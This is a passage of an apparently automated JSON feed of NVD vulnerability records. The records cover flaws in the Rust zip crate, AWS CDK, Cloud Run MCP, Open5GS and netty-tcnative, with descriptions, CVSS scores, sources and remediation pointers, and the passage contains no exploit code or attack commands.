fixes.","publishedAt":"2026-10-26T17:17:18.450Z","updatedAt":"2026-10-26T17:17:18.450Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7.5,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-115909","asOf":"2026-10-26T17:17:18.450Z"},"epss":null},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-115909","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-115909","type":"primary","publishedAt":"2026-10-26T17:17:18.450Z","checkedAt":"2026-10-26T18:20:57.477Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T16:51:02.326Z&lastModEndDate=2026-10-26T18:20:57.477Z&resultsPerPage=500&startIndex=500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T18:20:57.477Z","supports":"The NVD API page that supplied this CVE record."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T16:21:04.749Z&lastModEndDate=2026-10-26T17:50:56.936Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T17:50:56.936Z","supports":"The NVD API page that supplied this CVE record."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T15:50:57.770Z&lastModEndDate=2026-10-26T17:20:56.094Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T17:20:56.094Z","supports":"The NVD API page that supplied this CVE record."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T18:20:57.477Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-115908","cveId":"CVE-2026-115908","aliases":[],"kind":"vulnerability","title":"zip is a zip library for Rust that supports reading and writing simple ZIP files.","summary":"zip is a zip library for Rust that supports reading and writing simple ZIP files. From 7.2.0 until 9.0.0, ZipArchive::extract and ZipArchive::extract_unwrapped_root_dir use safe_prepare_path in src/read/zipfile.rs and simplified_components in src/path.rs to validate symbolic link targets with a lexical prefix comparison rather than resolving each intermediate link. An attacker who knows or can guess the absolute extraction destination can create a chain whose apparent target remains under the destination while an intermediate symlink resolves outside it, allowing attacker-controlled files to be created or overwritten with the extracting process's privileges. On Windows, discarded drive and UNC prefixes can permit a single-link escape when the process has SeCreateSymbolicLinkPrivilege, such as through administrator rights or Developer Mode. This regression is distinct from CVE-2025-29787. This issue is fixed in version 9.0.0.","detail":"zip is a zip library for Rust that supports reading and writing simple ZIP files. From 7.2.0 until 9.0.0, ZipArchive::extract and ZipArchive::extract_unwrapped_root_dir use safe_prepare_path in src/read/zipfile.rs and simplified_components in src/path.rs to validate symbolic link targets with a lexical prefix comparison rather than resolving each intermediate link. An attacker who knows or can guess the absolute extraction destination can create a chain whose apparent target remains under the destination while an intermediate symlink resolves outside it, allowing attacker-controlled files to be created or overwritten with the extracting process's privileges. On Windows, discarded drive and UNC prefixes can permit a single-link escape when the process has SeCreateSymbolicLinkPrivilege, such as through administrator rights or Developer Mode. This regression is distinct from CVE-2025-29787. This issue is fixed in version 9.0.0.\n\nNVD status: Received. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-26T17:17:18.293Z","updatedAt":"2026-10-26T17:17:18.293Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7.4,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-115908","asOf":"2026-10-26T17:17:18.293Z"},"epss":null},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-115908","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-115908","type":"primary","publishedAt":"2026-10-26T17:17:18.293Z","checkedAt":"2026-10-26T18:20:57.477Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T16:51:02.326Z&lastModEndDate=2026-10-26T18:20:57.477Z&resultsPerPage=500&startIndex=500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T18:20:57.477Z","supports":"The NVD API page that supplied this CVE record."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T16:21:04.749Z&lastModEndDate=2026-10-26T17:50:56.936Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T17:50:56.936Z","supports":"The NVD API page that supplied this CVE record."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T15:50:57.770Z&lastModEndDate=2026-10-26T17:20:56.094Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T17:20:56.094Z","supports":"The NVD API page that supplied this CVE record."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T18:20:57.477Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-115907","cveId":"CVE-2026-115907","aliases":[],"kind":"vulnerability","title":"zip is a zip library for Rust that supports reading and writing simple ZIP files.","summary":"zip is a zip library for Rust that supports reading and writing simple ZIP files. From 5.1.0 until 9.0.0, applications built with the legacy-zip feature can reserve output capacity from an attacker-controlled ZIP64 uncompressed size before validating the compressed stream. The ShrinkDecoder path in src/legacy/shrink.rs can panic with a capacity overflow during ZipArchive::extract, and the Reduce and Implode decoders contain the same unbounded preallocation pattern. An unhandled panic can terminate an archive-processing service. This issue is fixed in version 9.0.0.","detail":"zip is a zip library for Rust that supports reading and writing simple ZIP files. From 5.1.0 until 9.0.0, applications built with the legacy-zip feature can reserve output capacity from an attacker-controlled ZIP64 uncompressed size before validating the compressed stream. The ShrinkDecoder path in src/legacy/shrink.rs can panic with a capacity overflow during ZipArchive::extract, and the Reduce and Implode decoders contain the same unbounded preallocation pattern. An unhandled panic can terminate an archive-processing service. This issue is fixed in version 9.0.0.\n\nNVD status: Received. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-26T17:17:18.147Z","updatedAt":"2026-10-26T17:17:18.147Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7.5,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-115907","asOf":"2026-10-26T17:17:18.147Z"},"epss":null},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-115907","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-115907","type":"primary","publishedAt":"2026-10-26T17:17:18.147Z","checkedAt":"2026-10-26T18:20:57.477Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T16:51:02.326Z&lastModEndDate=2026-10-26T18:20:57.477Z&resultsPerPage=500&startIndex=500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T18:20:57.477Z","supports":"The NVD API page that supplied this CVE record."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T16:21:04.749Z&lastModEndDate=2026-10-26T17:50:56.936Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T17:50:56.936Z","supports":"The NVD API page that supplied this CVE record."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T15:50:57.770Z&lastModEndDate=2026-10-26T17:20:56.094Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T17:20:56.094Z","supports":"The NVD API page that supplied this CVE record."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T18:20:57.477Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-115418","cveId":"CVE-2026-115418","aliases":[],"kind":"vulnerability","title":"SQL injection in the database-query custom resource handlers in the Amazon Web Services (AWS) Cloud Development Kit (CDK) @aws-cdk/aws-redshift-alpha module before 2.274.0-alpha.0...","summary":"SQL injection in the database-query custom resource handlers in the Amazon Web Services (AWS) Cloud Development Kit (CDK) @aws-cdk/aws-redshift-alpha module before 2.274.0-alpha.0 could allow a third party who can influence construct property values to run SQL statements with Amazon Redshift superuser privileges, including granting access to all cluster users. The statements are reachable through crafted user names, comments, or passwords.\n\n\n\nTo remediate this issue, users should upgrade to version 2.274.0-alpha.0 or later and review existing table grants to PUBLIC.","detail":"SQL injection in the database-query custom resource handlers in the Amazon Web Services (AWS) Cloud Development Kit (CDK) @aws-cdk/aws-redshift-alpha module before 2.274.0-alpha.0 could allow a third party who can influence construct property values to run SQL statements with Amazon Redshift superuser privileges, including granting access to all cluster users. The statements are reachable through crafted user names, comments, or passwords.\n\n\n\nTo remediate this issue, users should upgrade to version 2.274.0-alpha.0 or later and review existing table grants to PUBLIC.\n\nNVD status: Received. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-26T17:17:16.533Z","updatedAt":"2026-10-26T17:17:16.533Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7,"version":"4.0","vector":"CVSS:4.0/AV:L/AC:L/AT:N/PR:L/UI:A/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-115418","asOf":"2026-10-26T17:17:16.533Z"},"epss":null},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-115418","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-115418","type":"primary","publishedAt":"2026-10-26T17:17:16.533Z","checkedAt":"2026-10-26T18:20:57.477Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T16:51:02.326Z&lastModEndDate=2026-10-26T18:20:57.477Z&resultsPerPage=500&startIndex=500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T18:20:57.477Z","supports":"The NVD API page that supplied this CVE record."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T16:21:04.749Z&lastModEndDate=2026-10-26T17:50:56.936Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T17:50:56.936Z","supports":"The NVD API page that supplied this CVE record."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T15:50:57.770Z&lastModEndDate=2026-10-26T17:20:56.094Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T17:20:56.094Z","supports":"The NVD API page that supplied this CVE record."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T18:20:57.477Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-85297","cveId":"CVE-2026-85297","aliases":[],"kind":"vulnerability","title":"Bucket Squatting in Google Cloud Run MCP versions prior to 1.11.0 on Google Cloud Platform allows an attacker to intercept and access proprietary source code, execute arbitrary...","summary":"Bucket Squatting in Google Cloud Run MCP versions prior to 1.11.0 on Google Cloud Platform allows an attacker to intercept and access proprietary source code, execute arbitrary code and exfiltrate data.\n\n\n\nUsers must upgrade to Cloud Run MCP version 1.11.0 or later.","detail":"Bucket Squatting in Google Cloud Run MCP versions prior to 1.11.0 on Google Cloud Platform allows an attacker to intercept and access proprietary source code, execute arbitrary code and exfiltrate data.\n\n\n\nUsers must upgrade to Cloud Run MCP version 1.11.0 or later.\n\nNVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-26T16:17:23.090Z","updatedAt":"2026-10-26T16:50:49.857Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7.7,"version":"4.0","vector":"CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:P/VC:H/VI:H/VA:H/SC:L/SI:L/SA:L/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:Amber","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-85297","asOf":"2026-10-26T16:50:49.857Z"},"epss":null},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-85297","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-85297","type":"primary","publishedAt":"2026-10-26T16:17:23.090Z","checkedAt":"2026-10-26T17:50:56.936Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T16:21:04.749Z&lastModEndDate=2026-10-26T17:50:56.936Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T17:50:56.936Z","supports":"The NVD API page that supplied this CVE record."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T15:50:57.770Z&lastModEndDate=2026-10-26T17:20:56.094Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T17:20:56.094Z","supports":"The NVD API page that supplied this CVE record."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T15:21:00.016Z&lastModEndDate=2026-10-26T16:50:55.493Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T16:50:55.493Z","supports":"The NVD API page that supplied this CVE record."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T14:51:04.037Z&lastModEndDate=2026-10-26T16:20:55.068Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T16:20:55.068Z","supports":"The NVD API page that supplied this CVE record."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T17:50:56.936Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-116543","cveId":"CVE-2026-116543","aliases":[],"kind":"vulnerability","title":"Open5GS 1.3.0 through 2.8.0 contains a heap out-of-bounds write vulnerability in parse_multipart() that allows unauthenticated attackers to corrupt memory by supplying an empty...","summary":"Open5GS 1.3.0 through 2.8.0 contains a heap out-of-bounds write vulnerability in parse_multipart() that allows unauthenticated attackers to corrupt memory by supplying an empty multipart boundary. Attackers can send a single crafted multipart/related request to the SBI interface of any network function, overflowing the lookbehind buffer and crashing it.","detail":"Open5GS 1.3.0 through 2.8.0 contains a heap out-of-bounds write vulnerability in parse_multipart() that allows unauthenticated attackers to corrupt memory by supplying an empty multipart boundary. Attackers can send a single crafted multipart/related request to the SBI interface of any network function, overflowing the lookbehind buffer and crashing it.\n\nNVD status: Deferred. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-26T16:17:19.830Z","updatedAt":"2026-10-26T16:17:19.963Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":8.7,"version":"4.0","vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-116543","asOf":"2026-10-26T16:17:19.963Z"},"epss":null},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-116543","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-116543","type":"primary","publishedAt":"2026-10-26T16:17:19.830Z","checkedAt":"2026-10-26T17:20:56.094Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T15:50:57.770Z&lastModEndDate=2026-10-26T17:20:56.094Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T17:20:56.094Z","supports":"The NVD API page that supplied this CVE record."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T15:21:00.016Z&lastModEndDate=2026-10-26T16:50:55.493Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T16:50:55.493Z","supports":"The NVD API page that supplied this CVE record."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T14:51:04.037Z&lastModEndDate=2026-10-26T16:20:55.068Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T16:20:55.068Z","supports":"The NVD API page that supplied this CVE record."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T17:20:56.094Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-116541","cveId":"CVE-2026-116541","aliases":[],"kind":"vulnerability","title":"Netty netty-tcnative before 2.0.84.Final contains a denial of service vulnerability in the tcn_write_to_bytebuffer BIO write callback that overreports bytes consumed.","summary":"Netty netty-tcnative before 2.0.84.Final contains a denial of service vulnerability in the tcn_write_to_bytebuffer BIO write callback that overreports bytes consumed. Remote TLS 1.3 peers can provoke queued post-handshake records like NewSessionTicket or KeyUpdate to truncate flights, fail connections, or abort the JVM process.","detail":"Netty netty-tcnative before 2.0.84.Final contains a denial of service vulnerability in the tcn_write_to_bytebuffer BIO write callback that overreports bytes consumed. Remote TLS 1.3 peers can provoke queued post-handshake records like NewSessionTicket or KeyUpdate to truncate flights, fail connections, or abort the JVM process.\n\nNVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-26T16:17:19.527Z","updatedAt":"2026-10-26T16:54:08.707Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":8.2,"version":"4.0","vector":"CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-116541","asOf":"2026-10-26T16:54:08.707Z"},"epss":null},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-116541","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-116541","type":"primary","publishedAt":"2026-10-26T16:17:19.527Z","checkedAt":"2026-10-26T18:20:57.477Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T16:51:02.326Z&lastModEndDate=2026-10-26T18:20:57.477Z&resultsPerPage=500&startIndex=500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T18:20:57.477Z","supports":"The NVD API page that supplied this CVE record."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T16:21:04.749Z&lastModEndDate=2026-10-26T17:50:56.936Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T17:50:56.936Z","supports":"The NVD API page that supplied this CVE record."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T15:50:57.770Z&lastModEndDate=2026-10-26T17:20:56.094Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T17:20:56.094Z","supports":"The NVD API page that supplied this CVE record."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T15:21:00.016Z&lastModEndDate=2026-10-26T16:50:55.493Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T16:50:55.493Z","supports":"The NVD API page that supplied this CVE record."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T14:51:04.037Z&lastModEndDate=2026-10-26T16:20:55.068Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T16:20:55.068Z","supports":"The NVD API page that supplied this CVE record."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T18:20:57.477Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-116540","cveId":"CVE-2026-116540","aliases":[],"kind":"vulnerability","title":"netty-tcnative 2.0.66.Final before 2.0.84.Final built against OpenSSL 3.x contains a use-after-free vulnerability in ssl_tlsext_ticket_key_cb during session ticket key rotation.","summary":"netty-tcnative 2.0.66.Final before 2.0.84.Final built against OpenSSL 3.x contains a use-after-free vulnerability in ssl_tlsext_ticket_key_cb during session ticket key rotation. Remote clients performing TLS handshakes while setSessionTicketKeys0 frees the shared key array cause OpenSSL to read freed HMAC keys, crashing or corrupting ticket processing.","detail":"netty-tcnative 2.0.66.Final before 2.0.84.Final built against OpenSSL 3.x contains a use-after-free vulnerability in ssl_tlsext_ticket_key_cb during session ticket key rotation. Remote clients performing TLS handshakes while setSessionTicketKeys0 frees the shared key array cause OpenSSL to read freed HMAC keys, crashing or corrupting ticket processing.\n\nNVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-26T16:17:19.377Z","updatedAt":"2026-10-26T17:17:27.187Z","regions":["Global"],"vendor":null,"product":null,"stacks":["OpenSSL"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":8.2,"version":"4.0","vector":"CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-116540","asOf":"2026-10-26T17:17:27.187Z"},"epss":null},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-116540","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-116540","type":"primary","publishedAt":"2026-10-26T16:17:19.377Z","checkedAt":"2026-10-26T18:20:57.477Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T16:51:02.326Z&lastModEndDate=2026-10-26T18:20:57.477Z&resultsPerPage=500&startIndex=500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T18:20:57.477Z","supports":"The NVD API page that supplied this CVE record."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T16:21:04.749Z&lastModEndDate=2026-10-26T17:50:56.936Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T17:50:56.936Z","supports":"The NVD API page that supplied this CVE record."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T15:50:57.770Z&lastModEndDate=2026-10-26T17:20:56.094Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T17:20:56.094Z","supports":"The NVD API page that supplied this CVE record."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T15:21:00.016Z&lastModEndDate=2026-10-26T16:50:55.493Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T16:50:55.493Z","supports":"The NVD API page that supplied this CVE record."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T14:51:04.037Z&lastModEndDate=2026-10-26T16:20:55.068Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T16:20:55.068Z","supports":"The NVD API page that supplied this CVE record."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T18:20:57.477Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-116539","cveId":"CVE-2026-116539","aliases":[],"kind":"vulnerability","title":"Netty netty-tcnative before 2.0.84.Final contains a heap buffer overflow vulnerability in the tcn_write_to_bytebuffer BIO callback caused by failing to wrap the non-application...","summary":"Netty netty-tcnative before 2.0.84.Final contains a heap buffer overflow vulnerability in the tcn_write_to_bytebuffer BIO callback caused by failing to wrap the non-application ring buffer write index. Remote TLS peers can drive handshake, renegotiation, or post-handshake messages into this buffer, triggering an out-of-bounds memcpy that crashes the JVM process.","detail":"Netty netty-tcnative before 2.0.84.Final contains a heap buffer overflow vulnerability in the tcn_write_to_bytebuffer BIO callback caused by failing to wrap the non-application ring buffer write index. Remote TLS peers can drive handshake, renegotiation, or post-handshake messages into this buffer, triggering an out-of-bounds memcpy that crashes the JVM process.\n\nNVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-26T16:17:19.200Z","updatedAt":"2026-10-26T16:54:08.707Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":8.2,"version":"4.0","vector":"CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-116539","asOf":"2026-10-26T16:54:08.707Z"},"epss":null},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-116539","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-116539","type":"primary","publishedAt":"2026-10-26T16:17:19.200Z","checkedAt":"2026-10-26T18:20:57.477Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T16:51:02.326Z&lastModEndDate=2026-10-26T18:20:57.477Z&resultsPerPage=500&startIndex=500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T18:20:57.477Z","supports":"The NVD API page that supplied this CVE record."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T16:21:04.749Z&lastModEndDate=2026-10-26T17:50:56.936Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T17:50:56.936Z","supports":"The NVD API page that supplied this CVE record."},{"name":"NVD CVE API 